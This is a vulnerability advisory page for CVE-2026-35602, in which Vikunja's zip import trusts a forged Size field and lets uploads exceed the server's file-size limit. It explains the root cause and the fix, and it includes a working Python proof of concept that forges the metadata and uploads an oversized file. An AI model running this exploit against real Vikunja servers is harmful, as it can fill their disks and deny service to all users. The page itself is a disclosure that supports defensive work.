Skip to main content

Python CVE-2026-35602

| EUVDEUVD-2026-21429 MEDIUM
Allocation of Resources Without Limits or Throttling (CWE-770)
2026-04-10 https://github.com/go-vikunja/vikunja GHSA-qh78-rvg3-cv54
5.4
CVSS 3.1 · GitHub Advisory
Share

Severity by source

GitHub Advisory PRIMARY
5.4 MEDIUM
AV:N/AC:L/PR:L/UI:N/S:U/C:N/I:L/A:L

Primary rating from GitHub Advisory · only source for this CVE.

CVSS VectorGitHub Advisory

CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:N/I:L/A:L
Attack Vector
Network
Attack Complexity
Low
Privileges Required
Low
User Interaction
None
Scope
Unchanged
Confidentiality
None
Integrity
Low
Availability
Low

Lifecycle Timeline

4
EUVD ID Assigned
Apr 10, 2026 - 16:00 euvd
EUVD-2026-21429
Analysis Generated
Apr 10, 2026 - 16:00 vuln.today
Patch released
Apr 10, 2026 - 16:00 nvd
Patch available
CVE Published
Apr 10, 2026 - 15:35 nvd
MEDIUM 5.4

DescriptionGitHub Advisory

Summary

The Vikunja file import endpoint uses the attacker-controlled Size field from the JSON metadata inside the import zip instead of the actual decompressed file content length for the file size enforcement check. By setting Size to 0 in the JSON while including large compressed file entries in the zip, an attacker bypasses the configured maximum file size limit.

Details

During import, the JSON metadata from data.json inside the zip archive is deserialized into project structures. File content is read independently from the zip entries. When creating attachments, the code at pkg/modules/migration/create_from_structure.go:406 passes the attacker-controlled File.Size from the JSON:

go
err = a.NewAttachment(s, bytes.NewReader(a.File.FileContent), a.File.Name, a.File.Size, user)

The file size enforcement check at pkg/files/files.go:118 then evaluates this attacker-controlled value:

go
if realsize > config.GetMaxFileSizeInMBytes()*uint64(datasize.MB) && checkFileSizeLimit {

With Size set to 0 in the JSON, the comparison 0 > 20MB evaluates to false and the check passes. The actual file content (from the zip entry) can be up to 500MB per entry (the readZipEntry limit). Highly compressible content like zero-filled buffers achieves extreme compression ratios, allowing a small zip upload to store gigabytes of data.

Proof of Concept

Tested on Vikunja v2.2.2 with default max_file_size: 20MB.

python
import zipfile, io, json, requests

TARGET = "http://localhost:3456"
token = requests.post(f"{TARGET}/api/v1/login",
    json={"username": "user1", "password": "User1pass!"}).json()["token"]
h = {"Authorization": f"Bearer {token}"}
# Craft zip with forged Size=0 in JSON but 25MB actual content
large_content = b"A" * (25 * 1024 * 1024)
# 25MB
data = [{"title": "Project", "tasks": [{"title": "Task", "attachments": [{
    "file": {"name": "large.bin", "size": 0, "created": "2026-01-01T00:00:00Z"},
    "created": "2026-01-01T00:00:00Z"}]}]}]

zip_buf = io.BytesIO()
with zipfile.ZipFile(zip_buf, 'w', zipfile.ZIP_DEFLATED) as zf:
    zf.writestr("VERSION", "2.2.2")
    zf.writestr("data.json", json.dumps(data))
    zf.writestr("large.bin", large_content)

resp = requests.put(f"{TARGET}/api/v1/migration/vikunja-file/migrate",
    headers=h,
    files={"import": ("export.zip", zip_buf.getvalue(), "application/zip")})

Output:

HTTP 200: {"message": "Everything was migrated successfully."}
25MB file stored despite 20MB server limit.

Impact

An authenticated user can exhaust server storage by uploading small compressed zip files that decompress into files exceeding the configured maximum file size limit. A single ~25KB upload can store ~25MB due to zip compression ratios. Repeated exploitation can fill the server's disk, causing denial of service for all users. No per-user storage quota exists to contain the impact.

Recommended Fix

Use the actual content length instead of the attacker-controlled Size field:

go
err = a.NewAttachment(s, bytes.NewReader(a.File.FileContent), a.File.Name, uint64(len(a.File.FileContent)), user)

--- *Found and reported by aisafe.io*

AnalysisAI

Vikunja's file import endpoint bypasses configured maximum file size limits by trusting an attacker-controlled Size field in import metadata rather than validating actual decompressed file content. Authenticated users can upload small compressed zip files (e.g., ~25KB) containing files up to 25MB or larger, exhausting server storage and causing denial of service across all users. The vulnerability affects Vikunja v2.2.2 and earlier versions; a vendor-released patch is available in v2.3.0.

Technical ContextAI

The vulnerability exists in Vikunja's project migration system, which processes zip-archived exports containing a JSON metadata file (data.json) that describes the project structure including attachment metadata. During deserialization at pkg/modules/migration/create_from_structure.go:406, the File.Size field from the attacker-controlled JSON metadata is passed directly to the NewAttachment function. The file size enforcement check at pkg/files/files.go:118 then compares this untrusted Size value against the configured maximum (default 20MB) rather than validating against the actual length of the decompressed file content. The root cause is CWE-770 (Allocation of Resources Without Limits or Throttling): the application fails to enforce resource limits on the actual content being imported, instead relying on metadata supplied by the attacker. Zip compression ratios on highly compressible data (zero-filled buffers, repetitive patterns) can exceed 1000:1, allowing a single ~25KB zip upload to store gigabytes of uncompressed content within server constraints.

RemediationAI

Vendor-released patch: Vikunja v2.3.0 (https://github.com/go-vikunja/vikunja/releases/tag/v2.3.0) includes the upstream fix via pull request #2575 (https://github.com/go-vikunja/vikunja/pull/2575). The remediation replaces the attacker-controlled File.Size parameter with uint64(len(a.File.FileContent)), ensuring file size enforcement is applied to the actual decompressed content rather than metadata. Upgrade to v2.3.0 or later. If immediate patching is not feasible, consider restricting the import endpoint to trusted administrators only via access control policies, reducing the number of authenticated users who can trigger resource exhaustion. However, no reliable workaround mitigates the logic flaw itself; patching is strongly recommended. See the official advisory at https://github.com/go-vikunja/vikunja/security/advisories/GHSA-qh78-rvg3-cv54 for additional details and patch verification.

More in Python

View all
CVE-2025-24016 CRITICAL POC
9.9 Feb 10

Wazuh SIEM platform versions 4.4.0 through 4.9.0 contain an unsafe deserialization vulnerability in the DistributedAPI t

CVE-2025-27520 CRITICAL POC
9.8 Apr 04

BentoML version 1.4.2 and earlier contains an unauthenticated remote code execution vulnerability through insecure deser

CVE-2025-2945 CRITICAL POC
9.9 Apr 03

pgAdmin 4 contains critical remote code execution vulnerabilities in the Query Tool download and Cloud Deployment endpoi

CVE-2013-5093 MEDIUM POC
6.8 Sep 27

The renderLocalView function in render/views.py in graphite-web in Graphite 0.9.5 through 0.9.10 uses the pickle Python

CVE-2025-32375 CRITICAL POC
9.8 Apr 09

BentoML is a Python library for building online serving systems optimized for AI apps and model inference. Rated critica

CVE-2014-0224 HIGH POC
7.4 Jun 05

OpenSSL before 0.9.8za, 1.0.0 before 1.0.0m, and 1.0.1 before 1.0.1h does not properly restrict processing of ChangeCiph

CVE-2024-21644 HIGH POC
7.5 Jan 08

pyLoad download manager version prior to 0.5.0b3.dev77 exposes the Flask SECRET_KEY through an unauthenticated endpoint.

CVE-2017-9462 HIGH POC
8.8 Jun 06

In Mercurial before 4.1.3, "hg serve --stdio" allows remote authenticated users to launch the Python debugger, and conse

CVE-2026-39987 CRITICAL POC
9.3 Apr 08

Unauthenticated remote code execution in Marimo ≤0.20.4 allows attackers to execute arbitrary system commands via the `/

CVE-2024-21645 MEDIUM POC
5.3 Jan 08

pyLoad is the free and open-source Download Manager written in pure Python. Rated medium severity (CVSS 5.3), this vulne

CVE-2026-33017 CRITICAL POC
9.3 Mar 17

Langflow (a visual LLM pipeline builder) contains a critical unauthenticated code execution vulnerability (CVE-2026-3301

CVE-2026-55255 HIGH POC
8.4 Jun 19

Cross-user flow execution in Langflow (< 1.9.1) lets any authenticated API-key holder run another user's flow by passing

Share

CVE-2026-35602 vulnerability details – vuln.today

This site uses cookies essential for authentication and security. No tracking or analytics cookies are used. Privacy Policy